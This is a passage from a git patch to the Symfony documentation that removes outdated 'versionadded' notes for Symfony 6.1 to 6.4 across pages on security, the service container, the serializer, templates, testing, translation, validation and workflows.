             $routes->import('@AcmeOtherBundle/Resources/config/routing/', 'directory');
         };
 
-.. versionadded:: 6.1
-
-    The ``attribute`` value of the second argument of ``import()`` was introduced
-    in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
-
 .. note::
 
     When importing resources, the key (e.g. ``app_file``) is the name of the collection.
diff --git a/security.rst b/security.rst
index 7285a6b77b4..9e40924cae3 100644
--- a/security.rst
+++ b/security.rst
@@ -468,12 +468,6 @@ You can also manually hash a password by running:
 Read more about all available hashers and password migration in
 :doc:`security/passwords`.
 
-.. versionadded:: 6.2
-
-    In applications using Symfony 6.2 and PHP 8.2 or newer, the
-    `SensitiveParameter PHP attribute`_ is applied to all plain passwords and
-    sensitive tokens so they don't appear in stack traces.
-
 .. _firewalls-authentication:
 .. _a-authentication-firewalls:
 
@@ -612,10 +606,6 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
     This feature is not supported by the XML configuration format.
 
-    .. versionadded:: 6.4
-
-        The feature to use an array of regex was introduced in Symfony 6.4.
-
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
 in other words, it enables many ways to ask the question "Who are you?".
@@ -680,10 +670,6 @@ use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``getFirewallConfig()`` method was introduced in Symfony 6.2.
-
 .. _security-authenticators:
 
 Authenticating Users
@@ -1717,17 +1703,6 @@ for more information about this.
 Login Programmatically
 ----------------------
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
-    class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
-
-.. versionadded:: 6.2
-
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::login`
-    method was introduced in Symfony 6.2.
-
 You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
@@ -1769,14 +1744,6 @@ You can log in a user programmatically using the ``login()`` method of the
         }
     }
 
-.. versionadded:: 6.3
-
-    The feature to use a custom redirection logic was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The feature to add badges was introduced in Symfony 6.4.
-
 .. _security-logging-out:
 
 Logging Out
@@ -1904,17 +1871,6 @@ Symfony will un-authenticate the current user and redirect them.
 Logout programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
-    class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
-
-.. versionadded:: 6.2
-
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::logout`
-    method was introduced in Symfony 6.2.
-
 You can logout user programmatically using the ``logout()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
@@ -2049,12 +2005,6 @@ If you need to get the logged in user from a service, use the
         }
     }
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
-    was introduced in Symfony 6.2. In previous Symfony versions this class was
-    defined in ``Symfony\Component\Security\Core\Security``.
-
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2454,15 +2404,6 @@ that is thrown with the ``exceptionCode`` argument::
         // ...
     }
 
-.. versionadded:: 6.2
-
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was
-    introduced in Symfony 6.3.
-
 .. _security-template:
 
 Access Control in Templates
@@ -2896,4 +2837,3 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
-.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php
diff --git a/security/access_control.rst b/security/access_control.rst
index abba217702f..4fd19925e85 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -33,14 +33,6 @@ options are used for matching:
 * ``attributes``: an array, which can be used to specify one or more :ref:`request attributes <accessing-request-data>` that must match exactly
 * ``route``: a route name
 
-.. versionadded:: 6.1
-
-    The ``request_matcher`` option was introduced in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    The ``route`` and ``attributes`` options were introduced in Symfony 6.2.
-
 Take the following ``access_control`` entries as an example:
 
 .. configuration-block::
diff --git a/security/access_token.rst b/security/access_token.rst
index b689949c71a..48ff8629fa1 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -352,10 +352,6 @@ an authorization server.
 1) Configure the OidcUserInfoTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The ``OidcUserInfoTokenHandler`` class was introduced in Symfony 6.3.
-
 The ``OidcUserInfoTokenHandler`` requires the ``symfony/http-client`` package to
 make the needed HTTP requests. If you haven't installed it yet, run this command:
 
@@ -539,10 +535,6 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The ``OidcTokenHandler`` class was introduced in Symfony 6.3.
-
 The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
 ``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
 packages. If you haven't installed them yet, run these commands:
diff --git a/security/expressions.rst b/security/expressions.rst
index e3e6425f6d5..cf7071e79a9 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -69,10 +69,6 @@ and ``#[IsGranted()]`` attribute also accept an
             }
         }
 
-.. versionadded:: 6.2
-
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
-
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
 user object's ``isSuperAdmin()`` method returns ``true``, then access will
 be granted (note: your User object may not have an ``isSuperAdmin()`` method,
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index b801b5570c1..8bc36c98c76 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -242,10 +242,6 @@ also adjust the query parameter name via the ``parameter`` setting:
 Redirecting to a Specific Target Route
 --------------------------------------
 
-.. versionadded:: 6.2
-
-    The ``target_route`` configuration option was introduced in Symfony 6.2.
-
 .. note::
 
     It works only in a stateful firewall.
diff --git a/security/login_link.rst b/security/login_link.rst
index 2af87ab4ded..041d59a1e1c 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -808,7 +808,3 @@ but you can change the lifetime per link using the third argument of the
     // the third optional argument is the lifetime in seconds
     $loginLinkDetails = $loginLinkHandler->createLoginLink($user, null, 60);
     $loginLink = $loginLinkDetails->getUrl();
-
-.. versionadded:: 6.2
-
-    The argument to customize the link lifetime was introduced in Symfony 6.2.
diff --git a/security/remember_me.rst b/security/remember_me.rst
index e2b087fa249..6d1e82e8c69 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -152,10 +152,6 @@ you can add a ``_remember_me`` key to the body of your POST request.
     Optionally, you can configure a custom name for this key using the
     ``name`` setting under the ``remember_me`` section of your firewall.
 
-.. versionadded:: 6.3
-
-    The JSON login ``_remember_me`` option was introduced in Symfony 6.3.
-
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 99cdfe04076..d62cc0bea32 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -117,10 +117,6 @@ is the service id of your user checker:
 Using Multiple User Checkers
 ----------------------------
 
-.. versionadded:: 6.2
-
-    The ``ChainUserChecker`` class was added in Symfony 6.2.
-
 It is common for applications to have multiple authentication entry points (such as
 traditional form based login and an API) which may have unique checker rules for each
 entry point as well as common rules for all entry points. To allow using multiple user
diff --git a/security/voters.rst b/security/voters.rst
index 7d37aea2510..0aefd3c2aa8 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -126,10 +126,6 @@ calls out to the "voter" system. Right now, no voters will vote on whether or no
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
 
-.. versionadded:: 6.2
-
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
-
 Creating the custom Voter
 -------------------------
 
diff --git a/serializer.rst b/serializer.rst
index daa898dbb7b..ef155a1a45d 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -157,10 +157,6 @@ configuration:
             ;
         };
 
-.. versionadded:: 6.2
-
-    The option to configure YAML indentation was introduced in Symfony 6.2.
-
 You can also specify the context on a per-property basis::
 
 .. configuration-block::
@@ -267,19 +263,11 @@ all the properties of the class::
         // ...
     }
 
-.. versionadded:: 6.4
-
-    The ``#[Context]`` attribute was introduced in Symfony 6.4.
-
 .. _serializer-using-context-builders:
 
 Using Context Builders
 ----------------------
 
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
 To define the (de)serialization context, you can use "context builders", which
 are objects that help you to create that context by providing autocompletion,
 validation, and documentation::
@@ -369,11 +357,6 @@ In this example, the ``id`` and the ``name`` properties belong to the
 ``show_product`` and ``list_product`` groups. The ``description`` property
 only belongs to the ``show_product`` group.
 
-.. versionadded:: 6.4
-
-    The support of the ``#[Groups]`` attribute on class level was
-    introduced in Symfony 6.4.
-
 Now that your groups are defined, you can choose which groups to use when
 serializing::
 
@@ -444,10 +427,6 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
             </class>
         </serializer>
 
-.. versionadded:: 6.2
-
-    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
-
 Using the configuration from above, denormalizing with a metadata-aware
 normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
 object::
@@ -551,11 +530,6 @@ given class:
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
-.. versionadded:: 6.3
-
-    The debug:serializer`` command was introduced in Symfony 6.3.
-
-
 Going Further with the Serializer
 ---------------------------------
 
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index b40e432286d..a326fcfc2d6 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,10 +1,6 @@
 How to Create your Custom Context Builder
 =========================================
 
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
 The :doc:`Serializer Component </components/serializer>` uses Normalizers
 and Encoders to transform any data to any data-structure (e.g. JSON).
 That serialization process can be configured thanks to a
diff --git a/service_container.rst b/service_container.rst
index c3e5c0b6860..47a60f37512 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -816,10 +816,6 @@ Our configuration looks like this:
     Closures can be injected :ref:`by using autowiring <autowiring_closures>`
     and its dedicated attributes.
 
-.. versionadded:: 6.1
-
-    The ``closure`` argument type was introduced in Symfony 6.1.
-
 .. _services-binding:
 
 Binding Arguments by Name or Type
@@ -1168,11 +1164,6 @@ key. For example, the default Symfony configuration contains this:
     may use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
     attribute directly on your class to exclude it.
 
-    .. versionadded:: 6.3
-
-        The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
-        attribute was introduced in Symfony 6.3.
-
 This can be used to quickly make many classes available as services and apply some
 default configuration. The ``id`` of each service is its fully-qualified class name.
 You can override any service that's imported by using its id (class name) below
@@ -1451,11 +1442,6 @@ Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
         }
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-    attribute was introduced in Symfony 6.3.
-
 Instead of using the ``#[AutowireCallable]`` attribute, you can also generate
 an adapter for a functional interface through configuration:
 
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 7a7eef2a458..b74acb99d8e 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -150,10 +150,6 @@ services.
             $services->alias('app.mailer', PhpMailer::class);
         };
 
-.. versionadded:: 6.3
-
-    The ``#[AsAlias]`` attribute was introduced in Symfony 6.3.
-
 This means that when using the container directly, you can access the
 ``PhpMailer`` service by asking for the ``app.mailer`` service like this::
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index daa1e96328b..898ccdd100b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -611,10 +611,6 @@ logic about those arguments::
         }
     }
 
-.. versionadded:: 6.1
-
-    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
-
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
 :doc:`complex expressions </service_container/expression_language>` and even
 :ref:`environment variables <config-env-vars>`::
@@ -648,10 +644,6 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
         // ...
     }
 
-.. versionadded:: 6.3
-
-    The ``param`` and ``env`` arguments were introduced in Symfony 6.3.
-
 .. _autowiring_closures:
 
 Generate Closures With Autowiring
@@ -707,11 +699,6 @@ attribute::
         }
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
-    attribute was introduced in Symfony 6.3.
-
 It is common that a service accepts a closure with a specific signature.
 In this case, you can use the
 :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
@@ -748,11 +735,6 @@ attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-    attribute was introduced in Symfony 6.3.
-
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)
diff --git a/service_container/debug.rst b/service_container/debug.rst
index e8f0022f1a2..c09413e7213 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -32,7 +32,7 @@ Partial search is also available:
 .. code-block:: terminal
 
     $ php bin/console debug:container --tag=kernel
-    
+
     Select one of the following tags to display its information:
      [0] kernel.event_listener
      [1] kernel.event_subscriber
@@ -42,10 +42,6 @@ Partial search is also available:
      [5] kernel.fragment_renderer
      [6] kernel.cache_clearer
 
-.. versionadded:: 6.2
-
-    The partial search was introduced in Symfony 6.2.
-
 Detailed Info about a Single Service
 ------------------------------------
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 7847a87b3b8..41c538db468 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -76,10 +76,6 @@ In this context, you have access to 3 functions:
 ``env``
     Returns the value of an env variable.
 
-.. versionadded:: 6.1
-
-    The ``env()`` function was introduced in Symfony 6.1.
-
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:
 
@@ -126,7 +122,3 @@ via a ``container`` variable. Here's another example:
 Expressions can be used in ``arguments``, ``properties``, as arguments with
 ``configurator``, as arguments to ``calls`` (method calls) and in
 ``factories`` (:doc:`service factories </service_container/factories>`).
-
-.. versionadded:: 6.1
-
-    Using expressions in ``factories`` was introduced in Symfony 6.1.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index a917a661afa..d4357cfd58a 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -231,10 +231,6 @@ as the factory class:
                 ->constructor('create');
         };
 
-.. versionadded:: 6.3
-
-    The ``constructor`` option was introduced in Symfony 6.3.
-
 Non-Static Factories
 --------------------
 
@@ -377,10 +373,6 @@ method name:
 Using Expressions in Service Factories
 --------------------------------------
 
-.. versionadded:: 6.1
-
-    Using expressions as factories was introduced in Symfony 6.1.
-
 Instead of using PHP classes as a factory, you can also use
 :doc:`expressions </service_container/expression_language>`. This allows you to
 e.g. change the service based on a parameter:
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 905c4b3a599..46e939d4fac 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -29,11 +29,6 @@ until you interact with the proxy in some way.
     In PHP versions prior to 8.0 lazy services do not support parameters with
     default values for built-in PHP classes (e.g. ``PDO``).
 
-.. versionadded:: 6.2
-
-    Starting from Symfony 6.2, service laziness is supported out of the box
-    without having to install any additional package.
-
 .. _lazy-services_configuration:
 
 Configuration
@@ -129,11 +124,6 @@ laziness, and supports lazy-autowiring of intersection types::
     ) {
     }
 
-.. versionadded:: 6.3
-
-    The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in
-    Symfony 6.3.
-
 Interface Proxifying
 --------------------
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0262ae03e7e..ce33207e568 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -123,10 +123,6 @@ but keeps a reference of the old one as ``.inner``:
                 ->decorate(Mailer::class);
         };
 
-.. versionadded:: 6.1
-
-    The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
-
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
 service replaces the ``App\Mailer`` service. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a39ccfb4a68..a4aa426bc59 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -247,10 +247,6 @@ service type to a service.
 Add Dependency Injection Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The ability to add attributes was introduced in Symfony 6.2.
-
 As an alternate to aliasing services in your configuration, you can also configure
 the following dependency injection attributes in the ``getSubscribedServices()``
 method directly:
@@ -375,12 +371,6 @@ attribute::
         }
     }
 
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
-    attribute was introduced in Symfony 6.4.
-
 .. note::
 
     To receive an iterable instead of a service locator, you can switch the
@@ -389,12 +379,6 @@ attribute::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
     attribute.
 
-    .. versionadded:: 6.4
-
-        The
-        :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-        attribute was introduced in Symfony 6.4.
-
 .. _service-subscribers-locators_defining-service-locator:
 
 Defining a Service Locator
@@ -939,10 +923,6 @@ and compose your services with them::
 ``SubscribedService`` Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The ability to add attributes was introduced in Symfony 6.2.
-
 You can use the ``attributes`` argument of ``SubscribedService`` to add any
 of the following dependency injection attributes:
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4955016d5a0..5021ec3d8d5 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -550,10 +550,6 @@ To answer this, change the service declaration:
             ;
         };
 
-.. versionadded:: 6.2
-
-    Support for attributes as array was introduced in Symfony 6.2.
-
 .. tip::
 
     The ``name`` attribute is used by default to define the name of the tag.
@@ -847,15 +843,6 @@ iterator, add the ``exclude`` option:
     In the case the referencing service is itself tagged with the tag being used in the tagged
     iterator, it is automatically excluded from the injected iterable.
 
-.. versionadded:: 6.1
-
-    The ``exclude`` option was introduced in Symfony 6.1.
-
-.. versionadded:: 6.3
-
-    The automatic exclusion of the referencing service in the injected iterable was
-    introduced in Symfony 6.3.
-
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`
diff --git a/templates.rst b/templates.rst
index a8f066e83be..53edd5b89d8 100644
--- a/templates.rst
+++ b/templates.rst
@@ -385,19 +385,6 @@ gives you access to these variables:
 ``app.enabled_locales``
     The locales enabled in the application.
 
-.. versionadded:: 6.2
-
-    The ``app.current_route`` and ``app.current_route_parameters`` variables
-    were introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The ``app.locale`` variable was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``app.enabled_locales`` variable was introduced in Symfony 6.4.
-
 In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.
@@ -606,10 +593,6 @@ to define the template to render::
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``#[Template()]`` attribute was introduced in Symfony 6.2.
-
 The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
 and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
@@ -649,13 +632,6 @@ This might come handy when dealing with blocks in
 :ref:`templates inheritance <template_inheritance-layouts>` or when using
 `Turbo Streams`_.
 
-.. versionadded:: 6.4
-
-    The
-    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock` and
-    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
-    methods were introduced in Symfony 6.4.
-
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -907,10 +883,6 @@ depending on your needs:
         </a>
     {% endfor %}
 
-.. versionadded:: 6.3
-
-    The option to use named arguments in ``dump()`` was introduced in Symfony 6.3.
-
 To avoid leaking sensitive information, the ``dump()`` function/tag is only
 available in the ``dev`` and ``test`` :ref:`configuration environments <configuration-environments>`.
 If you try to use it in the ``prod`` environment, you will see a PHP error.
diff --git a/testing.rst b/testing.rst
index 6c61531e4ed..e5347efa841 100644
--- a/testing.rst
+++ b/testing.rst
@@ -320,11 +320,6 @@ concrete one::
 No further configuration in required, as the test service container is a special one
 that allows you to interact with private services and aliases.
 
-.. versionadded:: 6.3
-
-    The possibility to set a private service with the test service container
-    without declaring a public alias for it was introduced in Symfony 6.3.
-
 .. _testing-databases:
 
 Configuring a Database for Tests
@@ -726,12 +721,6 @@ attributes in this token, you can use the ``tokenAttributes`` argument of the
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
     Instead, add the appropriate token/header in each ``request()`` call.
 
-.. versionadded:: 6.4
-
-    The ``tokenAttributes`` argument of the
-    :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method
-    was introduced in Symfony 6.4.
-
 Making AJAX Requests
 ....................
 
@@ -997,11 +986,6 @@ Response Assertions
 ``assertResponseIsUnprocessable(string $message = '')``
     Asserts the response is unprocessable (HTTP status is 422)
 
-.. versionadded:: 6.4
-
-    The support for relative path in ``assertResponseRedirects()`` was introduced
-    in Symfony 6.4.
-
 Request Assertions
 ..................
 
@@ -1063,15 +1047,6 @@ Crawler Assertions
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 
-.. versionadded:: 6.3
-
-    The ``assertSelectorCount()`` method was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``assertAnySelectorTextContains()``, ``assertAnySelectorTextNotContains()``
-    and ``assertAnySelectorTextSame()`` were introduced in Symfony 6.4.
-
 .. _mailer-assertions:
 
 Mailer Assertions
@@ -1109,11 +1084,6 @@ Mailer Assertions
     Asserts that the subject of the given email does (not) contain the
     expected subject.
 
-.. versionadded:: 6.4
-
-    The ``assertEmailSubjectContains()`` and ``assertEmailSubjectNotContains()``
-    assertions were introduced in Symfony 6.4.
-
 Notifier Assertions
 ...................
 
@@ -1140,10 +1110,6 @@ Notifier Assertions
     Asserts that the name of the transport for the given notification
     is not the same as the given text.
 
-.. versionadded:: 6.2
-
-    The Notifier assertions were introduced in Symfony 6.2.
-
 HttpClient Assertions
 .....................
 
@@ -1167,10 +1133,6 @@ HttpClient Assertions
     By default it will check on the HttpClient, but you can also pass a specific
     HttpClient ID.
 
-.. versionadded:: 6.4
-
-    The HttpClient assertions were introduced in Symfony 6.4.
-
 .. TODO
 ..  End to End Tests (E2E)
 ..  ----------------------
diff --git a/translation.rst b/translation.rst
index 07f7cbde570..306b3186ad0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -451,11 +451,6 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class stored in the ``src/`` directory that uses
   :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
-.. versionadded:: 6.2
-
-    The support of PHP files/classes that use constraint attributes was
-    introduced in Symfony 6.2.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
@@ -499,10 +494,6 @@ provides many loaders which are selected based on the following file extensions:
 * ``.po``: `Portable object format`_;
 * ``.qt``: `QT Translations TS XML`_ file;
 
-.. versionadded:: 6.1
-
-    The ``.xliff`` file extension support was introduced in Symfony 6.1.
-
 The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
@@ -607,10 +598,6 @@ Lokalise              ``composer require symfony/lokalise-translation-provider``
 Phrase                ``composer require symfony/phrase-translation-provider``
 ====================  ===========================================================
 
-.. versionadded:: 6.4
-
-    The ``Phrase`` translation provider was introduced in Symfony 6.4.
-
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use Loco. First, install it:
@@ -766,11 +753,6 @@ now use the following commands to push (upload) and pull (download) translations
     # of flat keys
     $ php bin/console translation:pull loco --force --as-tree
 
-.. versionadded:: 6.4
-
-    The ``--as-tree`` option of the ``translation:pull`` command was introduced
-    in Symfony 6.4.
-
 Creating Custom Providers
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1043,10 +1025,6 @@ checks translation resources for several locales:
 Switch Locale Programmatically
 ------------------------------
 
-.. versionadded:: 6.1
-
-    The ``LocaleSwitcher`` was introduced in Symfony 6.1.
-
 Sometimes you need to change the locale of the application dynamically
 just to run some code. Imagine a console command that renders Twig templates
 of emails in different languages. You need to change the locale only to
@@ -1103,13 +1081,6 @@ of:
         }
     }
 
-.. versionadded:: 6.4
-
-    The support of declaring an argument in the callback to inject the locale
-    being used in the
-    :method:`Symfony\\Component\\Translation\\LocaleSwitcher::runWithLocale`
-    method was introduced in Symfony 6.4.
-
 When using :ref:`autowiring <services-autowire>`, type-hint any controller or
 service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
 class to inject the locale switcher service. Otherwise, configure your services
diff --git a/validation.rst b/validation.rst
index af98a7ff852..39922038c9b 100644
--- a/validation.rst
+++ b/validation.rst
@@ -203,10 +203,6 @@ Inside the template, you can output the list of errors exactly as needed:
     object allows you, among other things, to get the constraint that caused this
     violation thanks to the ``ConstraintViolation::getConstraint()`` method.
 
-.. versionadded:: 6.3
-
-    The ``ConstraintViolation::getConstraint()`` method was introduced in Symfony 6.3.
-
 Validation Callables
 ~~~~~~~~~~~~~~~~~~~~
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7506cd84f2c..7ea504f0842 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -39,10 +39,6 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 Add ``#[\Attribute]`` to the constraint class if you want to
 use it as an attribute in other classes.
 
-.. versionadded:: 6.1
-
-    The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
-
 You can use ``#[HasNamedArguments]`` to make some constraint options required::
 
     // src/Validator/ContainsAlphanumeric.php
diff --git a/workflow.rst b/workflow.rst
index 2e17b40794c..b1ec43c8199 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -168,11 +168,6 @@ follows:
     ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
     instead of ``'to_review'``.
 
-.. versionadded:: 6.4
-
-    Since Symfony 6.4, the ``type`` option under ``marking_store`` can be
-    omitted when the ``property`` option is explicitly set.
-
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
@@ -231,11 +226,6 @@ you must declare a setter to write your property::
         }
     }
 
-.. versionadded:: 6.4
-
-    The feature to use public properties instead of getter/setter methods
-    and private properties was introduced in Symfony 6.4.
-
 .. note::
 
     The marking store type could be "multiple_state" or "single_state". A single
@@ -342,16 +332,6 @@ attribute::
 This allows you to decorrelate the argument name of any implementation
 name.
 
-.. versionadded:: 6.2
-
-    All workflows and state machines services are tagged since in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    Injecting a workflow with only its name and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` was
-    introduced in Symfony 6.3.
-
 .. tip::
 
     If you want to retrieve all workflows, for documentation purposes for example,
@@ -548,10 +528,6 @@ You may refer to the documentation about
 :ref:`defining event listeners with PHP attributes <event-dispatcher_event-listener-attributes>`
 for further use.
 
-.. versionadded:: 6.4
-
-    The workflow event attributes were introduced in Symfony 6.4.
-
 .. _workflow-usage-guard-events:
 
 Guard Events
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index f6b93fa693c..eabb8d2a28e 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -283,10 +283,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
     }
 
 
-.. versionadded:: 6.2
-
-    All workflows and state machines services are tagged since in Symfony 6.2.
-
 Automatic and Manual Validation
 -------------------------------
 

From bcd944aa6f41b599da0d023d287ed35c5175cdf8 Mon Sep 17 00:00:00 2001
